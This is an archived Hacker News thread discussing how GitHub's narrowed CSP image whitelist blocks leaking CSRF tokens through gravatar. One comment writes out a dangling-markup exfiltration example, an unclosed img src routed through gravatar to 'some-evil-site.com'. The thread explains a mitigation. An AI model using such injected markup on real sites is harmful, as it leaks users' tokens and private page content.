top | item 13442677

(no title)

pixdamix | 9 years ago

CSP mitigates the risks of XSS attacks.

If you look at : https://cspvalidator.org/#url=https://github.com you'll see that the CSP policy directive defines the origins from which images can be loaded

    'self' data: assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com ;
Previously, images could have been loaded from additional domains (gravatar) and could have been used to leak CSRF tokens.

discuss

order

laurent123456|9 years ago

What I don't understand is how the image URL ends up in a non-closed img src attribute. They might be getting the URL from a third party:

  https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f
But GitHub is the one opening and closing the tag, probably in some kind of template:

  <img src="{gravatar_url}">
  <p>secret</p>
Which should result in this:

  <img src="https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f">
  <p>secret</p>
and not this:

  <img src="https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f
  <p>secret</p>
Any idea why they are getting the latter?

ptoomey3|9 years ago

Yes, the attack assumes a content injection bug in GitHub.com. The attack is not using our own gravatar URL generation against us; it is the attacker crafting an arbitrary URL and using that URL inside of an arbitrary image tag. The reason for the attacker being "forced" to use a gravatar URL is that it was one of the very few third-party hosts we previously allowed by our CSP policy. So, the attack demonstrates how this previously allowed host could be used to exfiltrate sensitive content if/when an attacker found a way to inject arbitrary HTML into a page on GitHub.com.

scrollaway|9 years ago

They weren't getting the latter, they specifically went in there looking to mitigate what a theoretical content injection attack could do.

> In a relatively unique project, we asked Cure53 to assess what an attacker could do, assuming a content injection bug in GitHub.com